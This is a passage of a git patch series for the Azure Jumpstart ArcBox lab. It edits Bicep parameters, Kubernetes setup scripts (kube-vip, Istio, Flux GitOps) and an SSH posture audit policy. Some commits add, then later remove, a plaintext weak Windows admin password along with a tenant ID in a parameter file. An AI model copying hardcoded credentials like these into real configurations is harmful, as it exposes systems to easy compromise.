AAAAB3NzaC1yc2EAAAADAQABAAACAQDW6ZkCrWcuvDn7y9XbEulOSwx44wus3KLG8vOtFB+9m9YfTt/9RLJKD7ZiidvFQdD/ahKzLrdjJuUlcjsS6uqxvRBM+VUNY4O1zV+c7Zl6rHC7C/Ov9hB0wFW71ftUvKMwqIMFASh7etT0aW8FsSYnxRHf9hsYG5znwZTWsoxJO30gQOxwiLw+M1DCYmbOU3iOJuCyeG9VmzAfn/szXHDBogtkSx/ymiSCoJ3UbYmMqqoWNhfjfFTaLxZk7kkEDW6iFsIflsZOwZuB+tTOiOHE0KbgFyEtpzP3d+dfcSqgay6nb6RuzhZpthW42/qEmeqa16AkYLkYcgWl8DSqW/dRHq84MhVxggO7Shy+evuJpOTBp2SqplyYLRg3ScEe/BgyijN3Mo/baAYtGTbi3UAQKR0o/Ja9tm5DLOIuJM+fvKKCOU2yAQFeuc5xTl1gvYctevHjSEKUeE2tDkwHORPe7dZNVrSTAWNl3nLaIiauWzDKi1eMV3piao9om8Vg1uyYK3jI9AzH3uEH3cB9DqlNEhtHjz4ClFOkjAsTtf4xlkMkOfeGTRFgMpMwBsS46cKumy7PoMZnVowvUzDCsojqLdPpUHYM6vzGMvaovqg800mufxfEpiL/GIxU+KNgpbl9QxnFeoE5ZeHXWHdfczQSE0xi29x+6SLZ2F4YPQQKEw== mozaid@microsoft.com' -param windowsAdminUsername = 'arcdemo' +param tenantId = '16b3c013-d300-468d-ac64-7eda0820b6d3' -param windowsAdminPassword = '' +param windowsAdminUsername = 'arcdemo' -param logAnalyticsWorkspaceName = '' +param windowsAdminPassword = 'ArcPassword123!!' -param flavor = 'ITPro' +param logAnalyticsWorkspaceName = 'arcbox-la' param deployBastion = false -param vmAutologon = true +param customLocationRPOID = 'af89a3ae-8ffe-4ce7-89fb-a615f4083dc3' + +param resourceTags = { + Solution: 'jumpstart_arcbox' + Environment: 'sandbox' + CostCenter: 'it' +} + +param vmAutologon = false + +param rdpPort = '13389' + +param githubAccount = 'zaidmohd' + +param githubBranch = 'arcbox_3.0' -param resourceTags = {} // Add tags as needed +param githubUser = 'zaidmohd' From 4f6e6a5b7dd4a9c2c310307023ba401f485b54e2 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 9 Aug 2024 00:17:12 -0400 Subject: [PATCH 448/506] remove multiple pip for devops --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index b28489ddef..8c69930429 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -362,7 +362,7 @@ foreach ($configName in $configs) { } } elseif ($configStatus.ComplianceState -eq "Non-compliant" -and $retryCount -eq $maxRetries) { - Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." + Write-Host "GitOps configuration $configName has failed on $Env:k3sArcDataClusterName. Exiting..." -ForegroundColor Red break } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 973524e48f..0335738722 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -52,7 +52,7 @@ var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' var k3sControlPlane = 'true' // deploy single-node k3s control plane var diskSize = (flavor == 'DataOps') ? 512 : 64 -var numberOfIPAddresses = (flavor == 'DataOps') ? 8 : 5 // The number of IP addresses to create +var numberOfIPAddresses = (flavor == 'DataOps') ? 8 : 1 // The number of IP addresses to create // Create multiple public IP addresses if deployBastion is false resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { From 497ca54ecf2442d8653f06a7ca23d4ffe68719a1 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 9 Aug 2024 01:25:23 -0400 Subject: [PATCH 449/506] push default param --- azure_jumpstart_arcbox/bicep/main.bicepparam | 30 ++++++-------------- 1 file changed, 8 insertions(+), 22 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicepparam b/azure_jumpstart_arcbox/bicep/main.bicepparam index 64e8eb52af..9db53aff1a 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicepparam +++ b/azure_jumpstart_arcbox/bicep/main.bicepparam @@ -1,33 +1,19 @@ using 'main.bicep' -param flavor = 'DevOps' +param sshRSAPublicKey = '' -param sshRSAPublicKey = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW6ZkCrWcuvDn7y9XbEulOSwx44wus3KLG8vOtFB+9m9YfTt/9RLJKD7ZiidvFQdD/ahKzLrdjJuUlcjsS6uqxvRBM+VUNY4O1zV+c7Zl6rHC7C/Ov9hB0wFW71ftUvKMwqIMFASh7etT0aW8FsSYnxRHf9hsYG5znwZTWsoxJO30gQOxwiLw+M1DCYmbOU3iOJuCyeG9VmzAfn/szXHDBogtkSx/ymiSCoJ3UbYmMqqoWNhfjfFTaLxZk7kkEDW6iFsIflsZOwZuB+tTOiOHE0KbgFyEtpzP3d+dfcSqgay6nb6RuzhZpthW42/qEmeqa16AkYLkYcgWl8DSqW/dRHq84MhVxggO7Shy+evuJpOTBp2SqplyYLRg3ScEe/BgyijN3Mo/baAYtGTbi3UAQKR0o/Ja9tm5DLOIuJM+fvKKCOU2yAQFeuc5xTl1gvYctevHjSEKUeE2tDkwHORPe7dZNVrSTAWNl3nLaIiauWzDKi1eMV3piao9om8Vg1uyYK3jI9AzH3uEH3cB9DqlNEhtHjz4ClFOkjAsTtf4xlkMkOfeGTRFgMpMwBsS46cKumy7PoMZnVowvUzDCsojqLdPpUHYM6vzGMvaovqg800mufxfEpiL/GIxU+KNgpbl9QxnFeoE5ZeHXWHdfczQSE0xi29x+6SLZ2F4YPQQKEw== mozaid@microsoft.com' - -param tenantId = '16b3c013-d300-468d-ac64-7eda0820b6d3' +param tenantId = '' param windowsAdminUsername = 'arcdemo' -param windowsAdminPassword = 'ArcPassword123!!' - -param logAnalyticsWorkspaceName = 'arcbox-la' - -param deployBastion = false +param windowsAdminPassword = '' -param customLocationRPOID = 'af89a3ae-8ffe-4ce7-89fb-a615f4083dc3' +param logAnalyticsWorkspaceName = '' -param resourceTags = { - Solution: 'jumpstart_arcbox' - Environment: 'sandbox' - CostCenter: 'it' -} +param flavor = 'ITPro' -param vmAutologon = false - -param rdpPort = '13389' - -param githubAccount = 'zaidmohd' +param deployBastion = false -param githubBranch = 'arcbox_3.0' +param vmAutologon = true -param githubUser = 'zaidmohd' +param resourceTags = {} // Add tags as needed From 79477085e7bab2da673e3b786f36b4cce25eb274 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 9 Aug 2024 01:33:38 -0400 Subject: [PATCH 450/506] remove istio --- .../artifacts/DevOpsLogonScript.ps1 | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 8c69930429..6ee826b33c 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -101,8 +101,8 @@ foreach ($cluster in $clusters) { # $nicName = $cluster.clusterName + "-NIC" # $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - Write-Header "Installing istio on K3s cluster" - istioctl install --skip-confirmation + # Write-Header "Installing istio on K3s cluster" + # istioctl install --skip-confirmation # # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml # $kubeVipRBAC = @" @@ -277,11 +277,11 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', kubectl create namespace $namespace } -# Label Bookstore Namespaces for Istio injection -Write-Header "Labeling K8s Namespaces for Istio Injection" -foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { - kubectl label namespace $namespace istio-injection=enabled -} +# # Label Bookstore Namespaces for Istio injection +# Write-Header "Labeling K8s Namespaces for Istio Injection" +# foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { +# kubectl label namespace $namespace istio-injection=enabled +# } ############################# # - Apply GitOps Configs @@ -310,7 +310,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch arcbox_3.0 --sync-interval 3s ` + --branch main --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC From b2da8c0a5e1aaef5a9807826bd26913c801f28ee Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 9 Aug 2024 06:59:00 +0000 Subject: [PATCH 451/506] Added SSH Posture Control audit policy Signed-off-by: Jan Egil Ring --- .../bicep/mgmt/policyAzureArc.bicep | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep index f4cda24560..e929590c97 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep @@ -14,6 +14,7 @@ param resourceTags object = { param azureUpdateManagerArcPolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46' param azureUpdateManagerAzurePolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15' +param sshPostureControlAzurePolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4' param tagsRoleDefinitionId string = '/subscriptions/${subscription().subscriptionId}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c' @@ -203,3 +204,19 @@ resource updateManagerAzurePolicyLinux 'Microsoft.Authorization/policyAssignmen } } } + +resource sshPostureControlAudit 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable SSH Posture Control audit' + location: azureLocation + scope: resourceGroup() + properties:{ + displayName: '(ArcBox) Enable SSH Posture Control audit' + description: 'Enable SSH Posture Control in audit mode' + policyDefinitionId: sshPostureControlAzurePolicyId + parameters: { + IncludeArcMachines: { + value: true + } + } + } +} From 3f34e2b2331a87d9ded7ddc89c9c2dc7681ea6d7 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 9 Aug 2024 07:06:08 +0000 Subject: [PATCH 452/506] Update value of IncludeArcMachines parameter in SSH Posture Control audit policy Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep index e929590c97..f63be1df56 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep @@ -215,7 +215,7 @@ resource sshPostureControlAudit 'Microsoft.Authorization/policyAssignments@2024 policyDefinitionId: sshPostureControlAzurePolicyId parameters: { IncludeArcMachines: { - value: true + value: 'true' } } } From f7d14b43e698e48bd3d0615709d76f968655bf03 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 9 Aug 2024 12:56:14 -0400 Subject: [PATCH 453/506] add kube-vip --- .../artifacts/DevOpsLogonScript.ps1 | 334 +++++++++--------- .../bicep/kubernetes/ubuntuRancher.bicep | 2 +- 2 files changed, 168 insertions(+), 168 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 6ee826b33c..a268bc3114 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -98,164 +98,164 @@ foreach ($cluster in $clusters) { $Env:KUBECONFIG=$cluster.kubeConfig kubectx - # $nicName = $cluster.clusterName + "-NIC" - # $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + $nicName = $cluster.clusterName + "-NIC" + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv # Write-Header "Installing istio on K3s cluster" # istioctl install --skip-confirmation -# # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml -# $kubeVipRBAC = @" -# apiVersion: v1 -# kind: ServiceAccount -# metadata: -# name: kube-vip -# namespace: kube-system -# --- -# apiVersion: rbac.authorization.k8s.io/v1 -# kind: ClusterRole -# metadata: -# annotations: -# rbac.authorization.kubernetes.io/autoupdate: "true" -# name: system:kube-vip-role -# rules: -# - apiGroups: [""] -# resources: ["services/status"] -# verbs: ["update"] -# - apiGroups: [""] -# resources: ["services", "endpoints"] -# verbs: ["list","get","watch", "update"] -# - apiGroups: [""] -# resources: ["nodes"] -# verbs: ["list","get","watch", "update", "patch"] -# - apiGroups: ["coordination.k8s.io"] -# resources: ["leases"] -# verbs: ["list", "get", "watch", "update", "create"] -# - apiGroups: ["discovery.k8s.io"] -# resources: ["endpointslices"] -# verbs: ["list","get","watch", "update"] -# --- -# kind: ClusterRoleBinding -# apiVersion: rbac.authorization.k8s.io/v1 -# metadata: -# name: system:kube-vip-binding -# roleRef: -# apiGroup: rbac.authorization.k8s.io -# kind: ClusterRole -# name: system:kube-vip-role -# subjects: -# - kind: ServiceAccount -# name: kube-vip -# namespace: kube-system -# "@ - -# $kubeVipRBAC | kubectl apply -f - - -# # Apply kube-vip DaemonSet -# $kubeVipDaemonset = @" -# apiVersion: apps/v1 -# kind: DaemonSet -# metadata: -# creationTimestamp: null -# labels: -# app.kubernetes.io/name: kube-vip-ds -# app.kubernetes.io/version: v0.7.0 -# name: kube-vip-ds -# namespace: kube-system -# spec: -# selector: -# matchLabels: -# app.kubernetes.io/name: kube-vip-ds -# template: -# metadata: -# creationTimestamp: null -# labels: -# app.kubernetes.io/name: kube-vip-ds -# app.kubernetes.io/version: v0.7.0 -# spec: -# affinity: -# nodeAffinity: -# requiredDuringSchedulingIgnoredDuringExecution: -# nodeSelectorTerms: -# - matchExpressions: -# - key: node-role.kubernetes.io/master -# operator: Exists -# - matchExpressions: -# - key: node-role.kubernetes.io/control-plane -# operator: Exists -# containers: -# - args: -# - manager -# env: -# - name: vip_arp -# value: "true" -# - name: port -# value: "6443" -# - name: vip_interface -# value: eth0 -# - name: vip_cidr -# value: "32" -# - name: dns_mode -# value: first -# - name: cp_enable -# value: "true" -# - name: cp_namespace -# value: kube-system -# - name: svc_enable -# value: "true" -# - name: svc_leasename -# value: plndr-svcs-lock -# - name: vip_leaderelection -# value: "true" -# - name: vip_leasename -# value: plndr-cp-lock -# - name: vip_leaseduration -# value: "5" -# - name: vip_renewdeadline -# value: "3" -# - name: vip_retryperiod -# value: "1" -# - name: address -# value: "$k3sVIP" -# - name: prometheus_server -# value: :2112 -# image: ghcr.io/kube-vip/kube-vip:v0.7.0 -# imagePullPolicy: Always -# name: kube-vip -# resources: {} -# securityContext: -# capabilities: -# add: -# - NET_ADMIN -# - NET_RAW -# hostNetwork: true -# serviceAccountName: kube-vip -# tolerations: -# - effect: NoSchedule -# operator: Exists -# - effect: NoExecute -# operator: Exists -# updateStrategy: {} -# status: -# currentNumberScheduled: 0 -# desiredNumberScheduled: 0 -# numberMisscheduled: 0 -# numberReady: 0 -# "@ - -# $kubeVipDaemonset | kubectl apply -f - - -# # Kube vip cloud controller -# kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml - -# # Set kube-vip range-global for kubernetes services -# $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv -# $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} -# $lowestServiceIp = $sortedIps[0] -# $highestServiceIp = $sortedIps[-1] - -# kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp -# Start-Sleep -Seconds 30 +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ + +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + +$kubeVipDaemonset | kubectl apply -f - + + # Kube vip cloud controller + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + + # Set kube-vip range-global for kubernetes services + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] + + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 Write-Header "Creating longhorn storage on $($cluster.clusterName)" kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig @@ -289,18 +289,18 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', Write-Header "Applying GitOps Configs" -# Create GitOps config for NGINX Ingress Controller -Write-Host "Creating GitOps config for NGINX Ingress Controller" -az k8s-configuration flux create ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --name config-nginx ` - --namespace $ingressNamespace ` - --cluster-type connectedClusters ` - --scope cluster ` - --url $appClonedRepo ` - --branch main --sync-interval 3s ` - --kustomization name=nginx path=./nginx/release +# # Create GitOps config for NGINX Ingress Controller +# Write-Host "Creating GitOps config for NGINX Ingress Controller" +# az k8s-configuration flux create ` +# --cluster-name $Env:k3sArcDataClusterName ` +# --resource-group $Env:resourceGroup ` +# --name config-nginx ` +# --namespace $ingressNamespace ` +# --cluster-type connectedClusters ` +# --scope cluster ` +# --url $appClonedRepo ` +# --branch main --sync-interval 3s ` +# --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" @@ -344,7 +344,7 @@ $configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataCluste foreach ($configName in $configs) { Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" $retryCount = 0 - $maxRetries = 10 + $maxRetries = 5 do { $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON if ($configStatus.ComplianceState -eq "Compliant") { diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 0335738722..973524e48f 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -52,7 +52,7 @@ var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' var k3sControlPlane = 'true' // deploy single-node k3s control plane var diskSize = (flavor == 'DataOps') ? 512 : 64 -var numberOfIPAddresses = (flavor == 'DataOps') ? 8 : 1 // The number of IP addresses to create +var numberOfIPAddresses = (flavor == 'DataOps') ? 8 : 5 // The number of IP addresses to create // Create multiple public IP addresses if deployBastion is false resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { From 19c979d336f9a07ae9a701ba15acfd7f102c270d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sun, 11 Aug 2024 00:56:35 +0300 Subject: [PATCH 454/506] AIO patches --- .../artifacts/PowerShell/Modules/manufacturing.psm1 | 2 -- 1 file changed, 2 deletions(-) diff --git a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 index 0733e2c3cb..0466f07161 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 @@ -263,7 +263,6 @@ function Deploy-AIO { $retryCount = 0 $maxRetries = 25 kubectx $clusterName - <# do { $output = az iot ops check --as-object --only-show-errors $output = $output | ConvertFrom-Json @@ -279,7 +278,6 @@ function Deploy-AIO { Write-Host "[$(Get-Date -Format t)] ERROR: AIO deployment failed. Exiting..." -ForegroundColor White -BackgroundColor Red exit 1 # Exit the script } - #> #Write-Host "AIO deployed successfully on the $clusterName cluster" -ForegroundColor Green #Write-Host "`n" Write-Host "[$(Get-Date -Format t)] INFO: Started Event Grid role assignment process" -ForegroundColor DarkGray From 307644dde7979396670c03de90b25abe743cd39f Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 12 Aug 2024 10:16:18 -0400 Subject: [PATCH 455/506] add nodes for devops --- .../artifacts/DevOpsLogonScript.ps1 | 44 +++++++++---------- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index a268bc3114..9046ce9df8 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -101,8 +101,8 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - # Write-Header "Installing istio on K3s cluster" - # istioctl install --skip-confirmation + Write-Header "Installing istio on K3s cluster" + istioctl install --skip-confirmation # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml $kubeVipRBAC = @" @@ -277,11 +277,11 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', kubectl create namespace $namespace } -# # Label Bookstore Namespaces for Istio injection -# Write-Header "Labeling K8s Namespaces for Istio Injection" -# foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { -# kubectl label namespace $namespace istio-injection=enabled -# } +# Label Bookstore Namespaces for Istio injection +Write-Header "Labeling K8s Namespaces for Istio Injection" +foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { + kubectl label namespace $namespace istio-injection=enabled +} ############################# # - Apply GitOps Configs @@ -289,18 +289,18 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', Write-Header "Applying GitOps Configs" -# # Create GitOps config for NGINX Ingress Controller -# Write-Host "Creating GitOps config for NGINX Ingress Controller" -# az k8s-configuration flux create ` -# --cluster-name $Env:k3sArcDataClusterName ` -# --resource-group $Env:resourceGroup ` -# --name config-nginx ` -# --namespace $ingressNamespace ` -# --cluster-type connectedClusters ` -# --scope cluster ` -# --url $appClonedRepo ` -# --branch main --sync-interval 3s ` -# --kustomization name=nginx path=./nginx/release +# Create GitOps config for NGINX Ingress Controller +Write-Host "Creating GitOps config for NGINX Ingress Controller" +az k8s-configuration flux create ` + --cluster-name $Env:k3sArcDataClusterName ` + --resource-group $Env:resourceGroup ` + --name config-nginx ` + --namespace $ingressNamespace ` + --cluster-type connectedClusters ` + --scope cluster ` + --url $appClonedRepo ` + --branch main --sync-interval 3s ` + --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" @@ -310,7 +310,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch arcbox_3.0 --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC @@ -398,7 +398,7 @@ foreach ($configName in $configs) { # --release-namespace kube-system ` # --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' -# # Replace Variable values +# Replace Variable values Get-ChildItem -Path $Env:ArcBoxKVDir | ForEach-Object { # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_CERTNAME}', $certname | Set-Content -Path $_.FullName @@ -407,7 +407,7 @@ Get-ChildItem -Path $Env:ArcBoxKVDir | # (Get-Content -path $_.FullName -Raw) -Replace '\{JS_TENANTID}', $Env:tenantId | Set-Content -Path $_.FullName } -Write-Header "Creating Ingress Controller" +# Write-Header "Creating Ingress Controller" # Deploy Ingress resources for Bookstore and Hello-Arc App foreach ($namespace in @('bookstore', 'bookbuyer', 'hello-arc')) { diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 4b1daceecd..747ffd9288 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -98,7 +98,7 @@ module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if ( } } -module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps') { +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps' || flavor == 'DevOps') { name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' params: { sshRSAPublicKey: sshRSAPublicKey From b828c40b84388f9da22b6c9764405df636d821c1 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 12 Aug 2024 13:18:30 -0400 Subject: [PATCH 456/506] remove condition for dataops --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 747ffd9288..7c06111fcb 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ 